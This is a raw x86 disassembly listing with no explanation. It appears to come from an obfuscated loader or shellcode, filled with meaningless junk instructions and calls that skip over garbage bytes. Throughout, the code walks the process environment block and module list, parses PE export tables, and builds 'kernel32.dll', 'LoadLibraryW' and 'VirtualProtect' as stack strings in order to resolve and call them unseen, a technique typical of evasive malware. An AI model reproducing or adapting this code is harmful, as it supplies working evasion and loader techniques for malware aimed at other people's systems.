mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x487b82
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x487bd7
push edx
push edi
add esp, 4
and edx, 0x2a4b
add edx, 0x97d2
and edx, 0x1391d
pop edx
push ebx
add ebx, 0x1504
sub ebx, 0x7589
and ebx, 0x3609
add ebx, 0x14c12
pop ebx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x487c3f
push ecx
call 0x487be5
add byte [esp + esi], dh
inc ecx
dec eax
inc edx
inc esp
add esp, 4
add ecx, 0x6152
xor ecx, 0x38c5
pop ecx
push ecx
sub ecx, 0x69d8
add ecx, 0x12298
and ecx, 0x8067
pop ecx
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x487c35
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x487a00
mov dword [ebp - 0x2e0], 0
push eax
push eax
add esp, 4
or eax, 0x8cce
call 0x487c59
add byte [ebx + ecx*2 + 0x43], cl
cmp edi, dword [0x393d4e43]
add esp, 4
pop eax
push esi
jmp 0x487c64
pop esi
push esi
push ecx
add esp, 4
and esi, 0x14108
pop esi
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push esi
push esi
add esp, 4
call 0x487c94
add byte [esi + 0x32393b40], dh
xor esi, dword [esi]
inc ebx
add esp, 4
add esi, 0xdf80
pop esi
push ebx
sub ebx, 0x94e4
pop ebx
push edx
push ebx
add esp, 4
xor edx, 0xe3e
pop edx
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x487ce2
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x487fd3
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x487d0a
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x487fd3
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x487d3c
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x487fd3
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x487d61
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x487fd3
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x487dbb
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x487fc7
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x487e2b
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x487edd
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x487edd
push edi
or edi, 0x4824
and edi, 0xd6cb
sub edi, 0xfe7f
pop edi
push ebx
push eax
add esp, 4
and ebx, 0x14e77
or ebx, 0x165b4
and ebx, 0x15bdb
or ebx, 0x1147c
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x487ecf
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x487ed6
jmp 0x487e1c
jmp 0x487edd
push esi
push edi
add esp, 4
xor esi, 0xbfd9
or esi, 0xbacb
or esi, 0xf630
pop esi
push ebx
push edx
add esp, 4
jmp 0x487f02
pop ebx
push edi
push edi
add esp, 4
or edi, 0xfd6f
pop edi
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x487f3c
mov dword [ebp - 0xc40], 0
jmp 0x487fab
push ebx
push edx
add esp, 4
add ebx, 0x89fb
add ebx, 0x15db1
sub ebx, 0xb476
or ebx, 0x1a94
pop ebx
push edi
add edi, 0xd6c9
add edi, 0x1049e
and edi, 0xfc90
pop edi
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x487fa1
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x487fab
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x487fc2
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x487fd3
jmp 0x487dac
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push ebx
push edi
add esp, 4
xor ebx, 0x12904
add ebx, 0x8b24
pop ebx
push ebx
jmp 0x487ff7
pop ebx
push ecx
push ebx
add esp, 4
jmp 0x488004
add ecx, 0x170f9
or ecx, 0x18042
pop ecx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push esi
xor esi, 0x10bdf
pop esi
push eax
push ebx
add esp, 4
and eax, 0xb310
or eax, 0x71b5
pop eax
push edx
add al, 0x81
loopne 0x488040
mov bl, 0
add byte [ecx + 0x71b5c8], al
add byte [eax + 0x52], bl
push edx
add esp, 4
add edx, 0x60fd
xor edx, 0x155a3
or edx, 0x10d48
pop edx
cmp dword [ebp - 0x3cc], 0
je 0x488064
ret 0x60fd
cmp dword [ebp - 0xa5c], 0
jne 0x4880aa
push ebx
push edx
add esp, 4
xor ebx, 0xc061
pop ebx
push ebx
call 0x488080
add byte [esi + 0x44], al
aas
dec ebp
inc edi
inc ecx
aas
aas
cmp dword [ebx - 0x347efb3c], eax
jecxz 0x48802c
add byte [eax], al
or ebx, 0x2b7e
or ebx, 0x1630d
pop ebx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
push esi
add esp, 4
sub eax, 0x1f18
xor eax, 0x213
or eax, 0xf9d1
pop eax
push edi
push edx
add esp, 4
sub edi, 0x12d9e
pop edi
push edx
xor edx, 0x11295
sub edx, 0x8c03
pop edx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push edi
call 0x488120
add byte [eax + 0x3a], cl
dec esp
inc ebx
dec eax
cmp eax, 0xc4833533
add al, 0xeb
add eax, 0x3a34464f
xor ebx, dword [edi + 0x56]
call 0x48813a
add byte [eax + 0x33], al
cmp byte [ebp + 0x4a], al
inc edx
inc eax
dec edx
add esp, 4
jmp 0x488142
pop esi
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ecx
push ecx
add esp, 4
add ecx, 0x12a04
and ecx, 0x5c4c
pop ecx
push edx
xor edx, 0xf040
and edx, 0xa27e
sub edx, 0x6218
pop edx
push eax
push esi
add esp, 4
sub eax, 0x13f71
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push edi
push ecx
add esp, 4
xor edi, 0xd769
sub edi, 0x683
and edi, 0xd7f4
pop edi
push edx
jmp 0x488223
or edx, 0xc825
jmp 0x488230
and edx, 0x190
pop edx
cmp dword [ebp - 0x150c], 0
jne 0x48824f
mov dword [ebp - 0x2a8], 0
jmp 0x4884f6
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push ebx
push edx
add esp, 4
jmp 0x48826f
and ebx, 0x1780
pop ebx
push esi
and esi, 0x7009
pop esi
push edi
and edi, 0x864d
pop edi
push esi
push edx
add esp, 4
jmp 0x488292
pop esi
cmp dword [ebp - 0xc4c], 0
jne 0x4882ab
mov dword [ebp - 0x2a8], 0
jmp 0x4884f6
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push eax
or eax, 0xe48f
or eax, 0xd9bc
pop eax
push eax
or eax, 0x7484
call 0x4882dc
add byte [ebx + 0x32], cl
cmp byte [ebx], dh
inc edx
inc esi
cmp byte [ebx + 0x3c], cl
cmp eax, 0xeb04c483
pop es
inc ebx
dec ebp
dec esp
push eax
cmp dword [eax + ebx*2 - 0x73], eax
xchg ebp, eax
fsubr st(1)
invalid
push edx
xor edx, 0x1024c
pop edx
push edx
push edi
add esp, 4
call 0x488510
add byte [ebx], bh
xor ecx, dword [esi + 0x37]
dec eax
cmp bh, byte [ebx]
add esp, 4
or edx, 0xfb4
pop edx
push ecx
sub ecx, 0x17f69
add ecx, 0xf10
pop ecx
cmp dword [ebp - 0x2a8], 0
jne 0x488e2d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
push eax
add esp, 4
sub edx, 0x13a06
and edx, 0x1f40
add edx, 0x108be
pop edx
push eax
add eax, 0x1f24
pop eax
push ecx
push ecx
add esp, 4
or ecx, 0x4d8b
add ecx, 0x35bc
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push edx
xor edx, 0x23f1
or edx, 0xaa00
and edx, 0x1f42
pop edx
push edx
push ebx
add esp, 4
add edx, 0x12408
jmp 0x4886a8
pop edx
push ebx
push eax
add esp, 4
add ebx, 0x18624
pop ebx
cmp dword [ebp - 0x1518], 0
jne 0x4886cd
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push ecx
jmp 0x4886e8
jmp 0x4886ed
jmp 0x4886f4
xor ecx, 0x15e64
pop ecx
push eax
xor eax, 0xf75b
pop eax
push edi
and edi, 0xc175
or edi, 0x1923
pop edi
cmp dword [ebp - 0xc58], 0
jne 0x488729
mov dword [ebp - 0x710], 0
jmp 0x488974
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push ecx
or ecx, 0x17661
jmp 0x488745
sub ecx, 0x17bc1
xor ecx, 0x10cd9
pop ecx
push edx
call 0x488763
add byte [ebx], dh
dec ebx
inc ebx
inc edi
cmp eax, 0x44423847
dec edx
add esp, 4
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push ecx
push ebx
add esp, 4
add ecx, 0x7b53
pop ecx
push esi
push edi
add esp, 4
add esi, 0xec4b
sub esi, 0x17c1e
pop esi
push eax
add eax, 0x16803
sub eax, 0x11967
or eax, 0x13132
pop eax
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push edx
push ebx
add esp, 4
or edx, 0x326a
xor edx, 0x11c9b
or edx, 0x10820
and edx, 0x6cd4
pop edx
push esi
or esi, 0x11c7b
and esi, 0x143ea
or esi, 0x77ab
pop esi
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x488869
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x4888c3
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x488791
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x488791
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x4888ad
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x4888b7
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x48890c
push eax
call 0x4888dd
add byte [edx], dh
inc eax
aas
xor ecx, dword [esi + 0x32]
cmp dh, byte [ebx]
inc edi
dec edi
add esp, 4
pop eax
push eax
xor eax, 0xfc3f
sub eax, 0xbf5f
call 0x4888fa
add byte [esi + ecx*2], bh
inc ebp
xor al, 0x33
inc eax
add esp, 4
pop eax
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x488974
push esi
push esi
add esp, 4
sub esi, 0x63ee
pop esi
push edx
push ebx
add esp, 4
sub edx, 0x2b3f
and edx, 0x8842
pop edx
push ebx
xor ebx, 0x2a5c
sub ebx, 0x172a9
sub ebx, 0x6d04
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x48896a
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x488735
mov dword [ebp - 0x710], 0
push eax
call 0x488982
add byte [esi + ecx*2 + 0x48], al
cmp eax, 0x83323e46
les eax, [ecx + eax*4]
call fcn.00490159
call 0x48899a
add byte [ebx], bh
inc eax
xor edx, dword ds:[eax + 0x48]
cmp al, byte [ecx + 0x48]
add esp, 4
pop eax
push ebx
xor ebx, 0x9247
pop ebx
cmp dword [ebp - 0x710], 0
jne 0x4889f0
push edi
push ebx
add esp, 4
and edi, 0x166c1
xor edi, 0x9045
pop edi
push ecx
or ecx, 0x992e
or ecx, 0x9d9
call 0x4889dd
add byte [eax + 0x36], dl
cmp byte [ebp + 0x33], al
dec ecx
dec edi
dec ecx
dec esp
add esp, 4
pop ecx
mov dword [ebp - 0xa58], 0
jmp 0x489518
push edi
add edi, 0xc202
xor edi, 0x16071
jmp 0x488a05
pop edi
push edi
or edi, 0xd7d6
add edi, 0xcea0
sub edi, 0x22b1
jmp 0x488a21
pop edi
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x488a61
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x488a89
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x488d52
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x488abb
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x488d52
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x488ae0
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x488b3a
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x488d46
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x488baa
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x488c5c
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x488c5c
push edi
push eax
add esp, 4
call 0x488bec
add byte [eax + 0x46], cl
dec edi
aaa
cmp dword [ebx], edi
aaa
xor eax, 0xc4833234
add al, 0xe8
or eax, dword [eax]
add byte [eax], al
add byte [ebx], dh
dec ecx
inc esp
dec esp
inc edx
cmp byte [0x83424234], bh
les eax, [ecx + eax*4]
out 0x85, eax
xchg byte [eax], al
add byte [edi - 0x75], bl
invalid
push eax
call 0x488c6c
add byte [eax + 0x43], cl
cmp dword [0x38443650], edi
inc ebx
add esp, 4
pop eax
push esi
push eax
add esp, 4
sub esi, 0xf1a2
xor esi, 0x10893
and esi, 0x14312
sub esi, 0x10966
pop esi
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x488cbb
mov dword [ebp - 0xc5c], 0
jmp 0x488d2a
push eax
sub eax, 0x111b3
pop eax
push esi
push ebx
add esp, 4
or esi, 0x153e2
xor esi, 0x9ea3
add esi, 0xd6e6
pop esi
push edx
push eax
add esp, 4
sub edx, 0x4b34
xor edx, 0x103b9
pop edx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x488d20
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x488d2a
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x488d41
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x488d52
jmp 0x488b2b
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x488e2d
push eax
sub eax, 0x1254b
pop eax
push eax
or eax, 0x114ac
pop eax
push esi
push ecx
add esp, 4
call 0x488d81
add byte [edi], bh
cmp ecx, dword [ebx + 0x3c]
dec eax
dec ebp
dec ebp
add esp, 4
or esi, 0x1548a
sub esi, 0xe0
pop esi
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push edx
push eax
add esp, 4
sub edx, 0x1117c
pop edx
push ecx
push eax
add esp, 4
add ecx, 0x9a41
add ecx, 0x14ef3
add ecx, 0x3d0d
pop ecx
push edx
add edx, 0xa27e
sub edx, 0x98f9
pop edx
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x488e2d
push esi
and esi, 0x128c8
jmp 0x488dfa
jmp 0x488e01
sub esi, 0x1642
pop esi
push esi
jmp 0x488e12
add esi, 0x169cf
jmp 0x488e1d
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x489518
push esi
and esi, 0x36ab
pop esi
push ebx
push esi
add esp, 4
xor ebx, 0x1455
pop ebx
push ecx
push edx
add esp, 4
and ecx, 0x9115
add ecx, 0x139aa
add ecx, 0x15403
add ecx, 0xd534
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edi
push edi
add esp, 4
add edi, 0x3df5
pop edi
push ecx
add ecx, 0x2c73
call 0x488ea7
add byte [esi + esi], dh
dec edi
cmp ecx, dword [esi + 0x47]
dec eax
add esp, 4
sub ecx, 0x2cda
pop ecx
push eax
jmp 0x488eb8
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x488ed1
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
push esi
add esp, 4
or ebx, 0x105fd
jmp 0x488ef4
pop ebx
push esi
call 0x488f03
add byte [esi + edi + 0x3f], cl
aas
xor al, 0x39
dec edi
add esp, 4
and esi, 0x1748
pop esi
push ebx
sub ebx, 0x2902
pop ebx
cmp dword [ebp - 0xc68], 0
jne 0x488f2d
mov dword [ebp - 0x2a8], 0
jmp 0x489178
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
add ecx, 0x3e1e
or ecx, 0x10598
pop ecx
push ecx
push ecx
add esp, 4
or ecx, 0xa69b
pop ecx
push ecx
jmp 0x488f5b
xor ecx, 0x121cf
jmp 0x488f6a
pop ecx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push edi
add esp, 4
xor esi, 0x107e8
jmp 0x488fa6
pop esi
push esi
push eax
add esp, 4
sub esi, 0x163b5
pop esi
push edx
or edx, 0x10e0f
sub edx, 0xa198
and edx, 0xb3e
pop edx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push edx
push eax
add esp, 4
call 0x489033
add byte [ecx], bh
dec esp
dec ebp
cmp al, 0x40
dec esp
xor al, 0x83
les eax, [edx + ebx*2]
push eax
xor eax, 0x1433d
call 0x48904c
add byte [ecx + 0x39], al
dec edi
push eax
inc ecx
dec eax
dec esp
add esp, 4
pop eax
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x48906d
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x4890c7
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x488f95
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x488f95
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x4890b1
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x4890bb
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x489110
push ecx
add ecx, 0xb4ff
jmp 0x4890de
xor ecx, 0x10eb0
pop ecx
push eax
add eax, 0x428a
jmp 0x4890f5
or eax, 0x11717
and eax, 0xd769
pop eax
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x489178
push esi
push ecx
add esp, 4
add esi, 0x16623
add esi, 0x98d9
or esi, 0x171c9
pop esi
push ecx
push edi
add esp, 4
xor ecx, 0xee52
xor ecx, 0x132b7
jmp 0x489141
pop ecx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x48916e
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x488f39
mov dword [ebp - 0x2a8], 0
push ebx
push edi
add esp, 4
sub ebx, 0x256a
call 0x489190
add byte [edx], bh
dec edx
aas
dec edx
dec esi
dec ebp
cmp al, 0x83
les eax, [ecx + eax*4]
jmp 0x489197
add byte [eax], al
call 0x4891a6
add byte [0x36434350], dh
dec esp
inc ebx
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push edi
push edi
add esp, 4
or edi, 0x4b5a
sub edi, 0x8036
add edi, 0xc380
add edi, 0xac3a
pop edi
push edi
or edi, 0xad3d
or edi, 0xbdbd
and edi, 0x16d4b
pop edi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x48921b
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x489243
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x48950c
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
